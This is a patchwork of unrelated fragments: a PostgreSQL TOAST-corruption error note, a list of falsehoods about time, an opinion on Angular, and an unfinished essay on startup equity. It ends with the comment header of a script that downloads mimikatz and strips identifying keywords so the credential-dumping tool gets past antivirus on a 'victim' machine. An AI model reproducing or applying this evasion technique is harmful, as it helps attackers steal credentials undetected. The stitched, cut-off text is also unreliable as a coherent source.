The problem

In some cases, it is possible that PostgreSQL tables get corrupted. This can happen in case of hardware failures (e.g. hard disk drives with write-back cache enabled, RAID controllers with faulty/worn out battery backup, etc.), as clearly reported in this wiki page. Furthermore, it can happen in case of incorrect setup, as well.

One of the symptoms of such corruptions is the following message:

ERROR: missing chunk number 0 for toast value 123456 in pg_toast_45678

This almost surely indicates that a corrupted chunk is present within a table file. But there is a good way to get rid of it.

Falsehoods programmers believe about time

This is a compiled list of falsehoods programmers tend to believe about working with time.

Don't re-invent a date time library yourself. If you think you understand everything about time, you're probably doing it wrong.

Falsehoods

• There are always 24 hours in a day.
• February is always 28 days long.
• Any 24-hour period will always begin and end in the same day (or week, or month).

I've worked with AngularJS for many years now and still use it in production today. Even though you can't call it ideal, given its historically-formed architecture, nobody would argue that it became quite a milestone not only for evolution of JS frameworks, but for the whole web.

It's 2017 and every new product/project has to choose a framework for development. For a long time I was sure that new Angular 2/4 (just Angular below) will become the main trend for enterprise development for years to come. I wasn't even thinking of working with something else.

Today I refuse to use it in my next project myself.

What I Wish I'd Known About Equity Before Joining A Unicorn

Disclaimer: This piece is written anonymously. The names of a few particular companies are mentioned, but as common examples only.

This is a short write-up on things that I wish I'd known and considered before joining a private company (aka startup, aka unicorn in some cases). I'm not trying to make the case that you should never join a private company, but the power imbalance between founder and employee is extreme, and that potential candidates would

# This script downloads and slightly "obfuscates" the mimikatz project.
# Most AV solutions block mimikatz based on certain keywords in the binary like "mimikatz", "gentilkiwi", "benjamin@gentilkiwi.com" ..., 
# so removing them from the project before compiling gets us past most of the AV solutions.
# We can even go further and change some functionality keywords like "sekurlsa", "logonpasswords", "lsadump", "minidump", "pth" ....,
# but this needs adapting to the doc, so it has not been done, try it if your victim's AV still detects mimikatz after this program.
